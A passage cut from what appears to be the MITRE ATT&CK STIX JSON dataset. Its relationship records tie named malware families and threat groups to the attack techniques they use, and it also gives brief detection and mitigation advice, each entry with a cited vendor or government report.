Monitor for commands which enable hypervisors such as Hyper-V.", "modified": "2022-04-14T16:25:42.194Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ecbe0204-b205-47d5-ba6a-ef5c29737eda", "created": "2023-02-08T00:13:32.987Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "SentinelLabs Metador Technical Appendix Sept 2022", "description": "SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.", "url": "https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-05T15:06:13.926Z", "description": "[metaMain](https://attack.mitre.org/software/S1059) can change the `CreationTime`, `LastAccessTime`, and `LastWriteTime` file time attributes when executed with `SYSTEM` privileges.(Citation: SentinelLabs Metador Technical Appendix Sept 2022)", "relationship_type": "uses", "source_ref": "malware--df350889-4de9-44e5-8cb3-888b8343e97c", "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ecbe6cc7-16cc-474f-91fe-bd3e9014abbf", "type": "relationship", "created": "2021-07-02T14:27:03.199Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Bitdefender Naikon April 2021", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf", "description": "Vrabie, V. (2021, April 23). NAIKON \u2013 Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}], "modified": "2021-07-02T14:27:03.199Z", "description": "[RainyDay](https://attack.mitre.org/software/S0629) can use a file exfiltration tool to collect recently changed files on a compromised host.(Citation: Bitdefender Naikon April 2021)", "relationship_type": "uses", "source_ref": "malware--29231689-5837-4a7a-aafc-1b65b3f50cc7", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ecc31d1c-b5ac-4458-b379-a5c003637ee2", "type": "relationship", "created": "2021-01-06T15:56:49.646Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye SUNBURST Backdoor December 2020", "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."}], "modified": "2021-01-06T15:56:49.646Z", "description": "[SUNBURST](https://attack.mitre.org/software/S0559) communicated via HTTP GET or HTTP POST requests to third party servers for C2.(Citation: FireEye SUNBURST Backdoor December 2020)", "relationship_type": "uses", "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ecc76c8c-7c95-491d-9d94-1a704fc4995c", "type": "relationship", "created": "2022-03-30T14:26:51.839Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.839Z", "description": "Monitor for third-party application logging, messaging, and/or other artifacts that may leverage Confluence repositories to mine valuable information. Watch for access to Confluence repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.", "source_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", "target_ref": "attack-pattern--7ad38ef1-381a-406d-872a-38b136eb5ecc", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ecc9a971-349b-428d-a376-74f11b5b7086", "type": "relationship", "created": "2020-12-29T15:10:17.055Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA20-259A Iran-Based Actor September 2020", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}], "modified": "2020-12-29T15:10:17.055Z", "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used PowerShell scripts to access credential data.(Citation: CISA AA20-259A Iran-Based Actor September 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ecca0af0-1549-4068-b01d-bab711c491c5", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto Reaver Nov 2017", "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.", "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"}], "modified": "2020-03-30T03:02:09.224Z", "description": "[Reaver](https://attack.mitre.org/software/S0172) installs itself as a new service.(Citation: Palo Alto Reaver Nov 2017)", "relationship_type": "uses", "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ecca736a-9b3f-4a1d-bdb8-ff5c55197893", "type": "relationship", "created": "2020-08-24T14:27:37.493Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET PipeMon May 2020", "url": "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/", "description": "Tartare, M. et al. (2020, May 21). No \u201cGame over\u201d for the Winnti Group. Retrieved August 24, 2020."}], "modified": "2020-10-16T21:01:17.137Z", "description": "[PipeMon](https://attack.mitre.org/software/S0501) can switch to an alternate C2 domain when a particular date has been reached.(Citation: ESET PipeMon May 2020)", "relationship_type": "uses", "source_ref": "malware--8393dac0-0583-456a-9372-fd81691bca20", "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--eccad76f-c5fa-46db-9ccb-5a9ebcada28e", "type": "relationship", "created": "2019-11-27T14:58:00.681Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://technet.microsoft.com/library/jj852168.aspx", "description": "Microsoft. (2012, November 15). Domain controller: Allow server operators to schedule tasks. Retrieved December 18, 2017.", "source_name": "TechNet Server Operator Scheduled Task"}], "modified": "2020-12-30T14:26:44.914Z", "description": "Configure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM. The associated Registry key is located at HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\SubmitControl. The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled. (Citation: TechNet Server Operator Scheduled Task)", "relationship_type": "mitigates", "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--ecce47d4-c937-4feb-8ebf-4e2eb496725d", "created": "2022-06-06T15:50:33.497Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "ClearSky Siamesekitten August 2021", "url": "https://www.clearskysec.com/siamesekitten/", "description": "ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By \u201cSiamesekitten\u201d - Lyceum. Retrieved June 6, 2022."}, {"source_name": "SecureWorks August 2019", "url": "https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign", "description": "SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 "}], "x_mitre_deprecated": false, "revoked": false, "description": "[HEXANE](https://attack.mitre.org/groups/G1001) has identified executives, HR, and IT staff at victim organizations for further targeting.(Citation: SecureWorks August 2019)(Citation: ClearSky Siamesekitten August 2021)", "modified": "2022-06-06T15:50:33.497Z", "relationship_type": "uses", "source_ref": "intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3", "target_ref": "attack-pattern--cc723aff-ec88-40e3-a224-5af9fd983cc4", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ecd6c482-51ae-402c-8482-4feb9cda9b05", "type": "relationship", "created": "2021-07-16T19:42:59.611Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Group IB GrimAgent July 2021", "url": "https://gibnc.group-ib.com/s/Group-IB_GrimAgent_analysis#pdfviewer", "description": "Priego, A. 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Retrieved May 26, 2020."}], "modified": "2020-06-03T13:40:15.300Z", "description": "[Aria-body](https://attack.mitre.org/software/S0456) has the ability to inject itself into another process such as rundll32.exe and dllhost.exe.(Citation: CheckPoint Naikon May 2020)", "relationship_type": "uses", "source_ref": "malware--3161d76a-e2b2-4b97-9906-24909b735386", "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ed136275-95b7-4f46-914c-a7f964558278", "type": "relationship", "created": "2021-06-21T18:31:00.909Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "McAfee Cuba April 2021", "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-cuba-ransomware.pdf", "description": "Roccio, T., et al. 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Retrieved December 1, 2020."}], "modified": "2020-12-01T14:15:38.037Z", "description": "[Bazar](https://attack.mitre.org/software/S0534) can establish persistence by writing shortcuts to the Windows Startup folder.(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)", "relationship_type": "uses", "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", "target_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ed656cf9-64ea-411b-82b8-5260c2694cfd", "type": "relationship", "created": "2021-01-28T17:54:03.709Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Prevailion EvilNum May 2020", "url": "https://www.prevailion.com/phantom-in-the-command-shell-2/", "description": "Adamitis, D. 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Retrieved December 22, 2021."}], "modified": "2022-01-19T18:23:53.127Z", "description": "[EVILNUM](https://attack.mitre.org/software/S0568) has used the Windows Management Instrumentation (WMI) tool to enumerate infected machines.(Citation: Prevailion EvilNum May 2020)", "relationship_type": "uses", "source_ref": "malware--7cdfccda-2950-4167-981a-60872ff5d0db", "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ed6d663f-510b-4702-9c2a-ef40cc4d88c7", "type": "relationship", "created": "2020-06-12T16:15:04.841Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Eset Ramsay May 2020", "url": "https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/", "description": "Sanmillan, I.. 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Retrieved June 17, 2021."}], "modified": "2021-06-21T13:17:56.497Z", "description": "[Ecipekac](https://attack.mitre.org/software/S0624) can download additional payloads to a compromised host.(Citation: Securelist APT10 March 2021)", "relationship_type": "uses", "source_ref": "malware--292eb0c5-b8e8-4af6-9e8f-0fda6b4528d3", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--eda172f0-188d-4ca6-9a10-a90786127b68", "type": "relationship", "created": "2020-09-29T15:45:28.908Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "PWC WellMess July 2020", "url": "https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html", "description": "PWC. (2020, July 16). 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Retrieved September 29, 2020."}], "modified": "2020-10-09T15:31:13.945Z", "description": "[WellMess](https://attack.mitre.org/software/S0514) can use HTTP and HTTPS in C2 communications.(Citation: PWC WellMess July 2020)(Citation: PWC WellMess C2 August 2020)(Citation: CISA WellMess July 2020)(Citation: NCSC APT29 July 2020)", "relationship_type": "uses", "source_ref": "malware--3a4197ae-ec63-4162-907b-9a073d1157e4", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--eda182e5-ad1a-466b-8ede-664a2c778076", "type": "relationship", "created": "2020-05-26T17:14:42.966Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Whitefly March 2019", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/whitefly-espionage-singapore", "description": "Symantec. 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Retrieved May 26, 2020."}], "modified": "2020-05-26T17:14:42.966Z", "description": "(Citation: Symantec Whitefly March 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--b74f909f-8e52-4b69-b770-162bf59a1b4e", "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--eda23a3d-a1d0-4e98-85fc-5ac083f53f5c", "type": "relationship", "created": "2020-01-13T16:33:20.771Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-01-13T16:33:20.772Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--3d1b9d7e-3921-4d25-845a-7d9f15c0da44", "target_ref": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--eda49ac0-3077-4bff-9b30-44f527914e9c", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Turla Mosquito Jan 2018", "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"}], "modified": "2020-03-20T01:55:35.004Z", "description": "[Mosquito](https://attack.mitre.org/software/S0256) leverages the CreateProcess() and LoadLibrary() calls to execute files with the .dll and .exe extensions.(Citation: ESET Turla Mosquito Jan 2018)", "relationship_type": "uses", "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--eda4c39d-9615-4c5f-8086-64150137df7f", "type": "relationship", "created": "2021-10-07T16:37:51.341Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Bitdefender FIN8 July 2021", "url": "https://businessinsights.bitdefender.com/deep-dive-into-a-fin8-attack-a-forensic-investigation", "description": "Martin Zugec. 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Retrieved September 1, 2021."}], "modified": "2021-10-07T16:37:51.341Z", "description": "[FIN8](https://attack.mitre.org/groups/G0061) has injected malicious code into a new svchost.exe process.(Citation: Bitdefender FIN8 July 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", "target_ref": "attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--eda69379-85f5-4512-aadc-ed7f5d2883bf", "type": "relationship", "created": "2020-06-10T17:50:30.129Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Tick November 2019", "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf", "description": "Chen, J. et al. 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(2020, April 3). Detect and Prevent Web Shell Malware. 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Retrieved February 5, 2024.", "url": "https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-13T16:23:47.207Z", "description": "[APT5](https://attack.mitre.org/groups/G1023) has used the BLOODMINE utility to discover files with .css, .jpg, .png, .gif, .ico, .js, and .jsp extensions in Pulse Secure Connect logs.(Citation: Mandiant Pulse Secure Update May 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--eddcfbbf-9e82-4029-87fe-bf0f6bea0ba9", "type": "relationship", "created": "2021-01-07T20:50:42.112Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Intrinsec Egregor Nov 2020", "url": "https://www.intrinsec.com/egregor-prolock/?cn-reloaded=1", "description": "Bichet, J. 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Retrieved January 6, 2021."}], "modified": "2021-03-22T22:05:59.633Z", "description": "[Egregor](https://attack.mitre.org/software/S0554) has used an encoded PowerShell command by a service created by [Cobalt Strike](https://attack.mitre.org/software/S0154) for lateral movement.(Citation: Intrinsec Egregor Nov 2020)", "relationship_type": "uses", "source_ref": "malware--cc4c1287-9c86-4447-810c-744f3880ec37", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--edea5971-fc27-4637-8de9-aabcd50784a7", "type": "relationship", "created": "2017-05-31T21:33:27.077Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets", "description": "Symantec Security Response. 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Retrieved December 14, 2018."}], "modified": "2019-06-28T15:30:58.853Z", "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has run a tool that steals passwords saved in victim email.(Citation: Symantec MuddyWater Dec 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", "target_ref": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ee0f724e-6622-40db-8a31-82fb6b361e0b", "created": "2024-03-01T15:13:33.503Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-01T15:13:33.503Z", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. 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Retrieved October 14, 2019."}], "modified": "2020-06-08T18:06:36.311Z", "description": "[TajMahal](https://attack.mitre.org/software/S0467) has the ability to identify connected Apple devices.(Citation: Kaspersky TajMahal April 2019)", "relationship_type": "uses", "source_ref": "malware--b51797f7-57da-4210-b8ac-b8632ee75d70", "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ee1a14f3-9e2e-44a5-8d1f-4a093dbd0c94", "type": "relationship", "created": "2021-03-02T16:51:57.051Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AppleJeus Feb 2021", "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). 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Retrieved March 1, 2021."}], "modified": "2021-03-02T16:51:57.051Z", "description": "[FALLCHILL](https://attack.mitre.org/software/S0181) has been installed as a Windows service.(Citation: CISA AppleJeus Feb 2021)", "relationship_type": "uses", "source_ref": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ee1b1aee-a635-4008-813d-fab125f0b0a5", "type": "relationship", "created": "2020-05-04T19:13:35.497Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Carbon Black HotCroissant April 2020", "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/", "description": "Knight, S.. (2020, April 16). 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Retrieved May 1, 2020."}], "modified": "2020-05-04T19:13:35.497Z", "description": "[HotCroissant](https://attack.mitre.org/software/S0431) has the ability to do real time screen viewing on an infected host.(Citation: Carbon Black HotCroissant April 2020)", "relationship_type": "uses", "source_ref": "malware--aad11e34-02ca-4220-91cd-2ed420af4db3", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ee1dd5bc-9d75-4f46-87a1-12fcb7183f32", "type": "relationship", "created": "2021-08-03T14:06:06.958Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MSTIC Nobelium Toolset May 2021", "url": "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/", "description": "MSTIC. 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Retrieved August 4, 2021."}], "modified": "2021-08-04T13:54:53.489Z", "description": "[EnvyScout](https://attack.mitre.org/software/S0634) can use protocol handlers to coax the operating system to send NTLMv2 authentication responses to attacker-controlled infrastructure.(Citation: MSTIC Nobelium Toolset May 2021)", "relationship_type": "uses", "source_ref": "malware--2f8229dc-da94-41c6-89ba-b5b6c32f6b7d", "target_ref": "attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ee1f163e-7d9b-449a-ba71-0d0091abfb8a", "type": "relationship", "created": "2019-10-11T16:04:32.132Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye FIN7 Oct 2019", "url": "https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html", "description": "Carr, N, et all. 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Retrieved November 4, 2015.", "url": "http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/"}], "modified": "2019-03-22T20:10:33.048Z", "description": "(Citation: New DragonOK)", "relationship_type": "uses", "source_ref": "intrusion-set--f3bdec95-3d62-42d9-a840-29630f6cdc1a", "target_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ee2fcc2b-735d-4948-b25a-401f60fe7412", "type": "relationship", "created": "2020-02-05T19:34:05.077Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-02-09T15:58:04.945Z", "description": "Restrict storage and execution of SIP DLLs to protected directories, such as C:\\\\Windows, rather than user directories.", "relationship_type": "mitigates", "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", "target_ref": "attack-pattern--543fceb5-cb92-40cb-aacf-6913d4db58bc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ee3162ad-e88e-401c-9fdf-e7f0784141a4", "type": "relationship", "created": "2019-10-05T02:15:30.002Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Amazon S3 Security, 2019", "url": "https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/", "description": "Amazon. (2019, May 17). How can I secure the files in my Amazon S3 bucket?. Retrieved October 4, 2019."}], "modified": "2020-07-09T14:02:05.384Z", "description": 